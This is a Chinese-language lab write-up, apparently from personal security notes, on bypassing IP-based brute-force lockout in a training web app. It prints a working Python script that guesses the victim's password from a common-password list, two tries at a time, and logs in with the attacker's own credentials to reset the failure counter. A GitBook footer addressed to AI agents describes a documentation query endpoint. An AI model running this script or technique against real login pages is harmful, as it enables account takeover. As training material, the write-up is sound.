> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/broken-brute-force-protection-ip-block.md).
# 带有基于 IP 阻断的脆弱暴力破解防护
### 损坏的暴力破解防护，IP 封锁
这个实验室的暴力破解防护存在一个逻辑缺陷。/ 目标是 **加强受害者的密码** 然后登录到他的账户。
* **提供的凭据：** wiener / peter
* **受害者的用户名：** carlos
#### 封锁机制的观察
对 carlos 用户进行多种组合测试表明，在 **三次错误尝试**之后，应用会显示：
> *您已进行过多次错误的登录尝试。请在 1 分钟后重试。*
因此，该网站在 **基于 IP 地址的封锁** 在连续多次失败后。
### 绕过 IP 封锁
为绕过此防护，利用了一个逻辑缺陷：
* 我们发送 **两次** 针对 carlos 的无效尝试。
* 在 **第三次** 尝试中，我们发送有效的\*\*认证，但使用 wiener 的 ID：peter。
* 由于这次连接成功，系统\*\*重置该 IP 地址的计数器\*\*。
### 使用的 Python 脚本
以下脚本通过先测试 carlos 的两个密码，然后通过以 wiener 身份成功连接来重置计数器，从而自动化执行攻击：
```python
import requests
import time
url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"
passwords = [
"123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
"111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
"monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
"mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
"7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
"jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
"harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
"charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
"klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
"1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
"pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
"cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
"biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
"thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
"montana", "moon", "moscow"
]
session = requests.Session()
def login(username, password):
headers = {'Cookie': f'session={session_cookie}'}
data = {'username': username, 'password': password}
return session.post(url, headers=headers, data=data, allow_redirects=False)
for i in range(0, len(passwords), 2):
batch = passwords[i:i+2]
for password in batch:
print(f"Trying carlos:{password}")
response = login("carlos", password)
if response.status_code == 302:
print(f"PASSWORD FOUND! carlos:{password}")
exit()
if i + 2 < len(passwords):
print("Resetting with wiener:peter")
login("wiener", "peter")
time.sleep(1)
Password not found
```
通过攻击发现的 carlos 的正确密码是：
> **michelle**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/authentication/broken-brute-force-protection-ip-block.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.